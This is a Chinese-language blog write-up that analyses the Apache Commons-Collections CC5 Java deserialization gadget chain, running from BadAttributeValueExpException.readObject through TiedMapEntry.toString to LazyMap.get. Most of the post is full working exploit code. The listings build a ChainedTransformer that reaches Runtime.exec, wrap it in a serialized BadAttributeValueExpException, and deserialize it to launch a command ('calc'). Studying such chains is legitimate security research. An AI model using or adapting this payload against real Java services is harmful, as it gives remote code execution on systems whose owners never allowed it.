CC5链
Java 反序列化 Commons-Collections 篇 CC5 链
0x01 前言
最后两个链子了,冲冲冲!
0x02 CC5 链分析
让我找这里肯定很难找出来,去看了 yso 的官方链子,入口类是 BadAttributeValueExpException
的 readObject()
方法,这一个倒是不难。关键是后面的。
逆向思维来看的话,LazyMap.get()
方法被 TiedMapEntry.toString()
所调用,而如果去找谁调用了 toString()
这也太多了,太难找了,我们只能正向分析。
大致的流程图如此
从 BadAttributeValueExpException
的 readObject()
方法进来。
这里调用了 toString()
方法,然后 TiedMapEntry
这个类调用了 toString()
方法。
TiedMapEntry
这个类的 toString()
方法调用了 getValue()
方法,在 getValue()
方法中,我们看到了 get()
方法被调用,这就和后续的 LazyMap.get()
对应起来了。
0x03 CC5 链 EXP 编写
1. LazyMap.get() 的 EXP 编写
- 这里 LazyMap 的后面半条链子是可以用的,我们直接把 CC1 那一部分的拿进来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class); lazyGetMethod.setAccessible(true); lazyGetMethod.invoke(decorateMap, chainedTransformer); } }
|
下一步我们写 TiedMapEntry
类调用 toString()
方法的 EXP。
2. TiedMapEntry.toString() EXP 编写
这一步不是很难,因为 TiedMapEntry
这个类继承了反序列化,并且是 public 的类,可操纵性非常强。
EXP 的逻辑这里我觉得也挺简单的,先看 TiedMapEntry
的构造方法,TiedMapEntry
的构造方法中的 map 后续进行了 map.get(key)
的操作,所以只需要将 map 赋值为 decorateMap 即可。
编写我们的 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class TiedMapEntryEXP { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value"); tiedMapEntry.toString(); } }
|
3. 结合入口类的完整 EXP 编写
这里运气比较好,入口类的 BadAttributeValueExpException
的作用域是 public,所以我们可以直接 new 一个对象。
1
| BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
|
new 完之后,我们需要修改 BadAttributeValueExpException
的 val 值,而 BadAttributeValueExpException
是支持序列化的,我们用反射的方式来修改。
1 2 3 4
| Class c = Class.forName("javax.management.BadAttributeValueExpException"); Field field = c.getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, tiedMapEntry);
|
成功弹出计算器,完整的 EXP 如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC5EXP { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class c = Class.forName("javax.management.BadAttributeValueExpException"); Field field = c.getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, tiedMapEntry); serialize(badAttributeValueExpException); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
0x04 小结
- 走个形式吧,感觉自己体会到的更多,后续可能会写一篇关于反序列化的总结文章。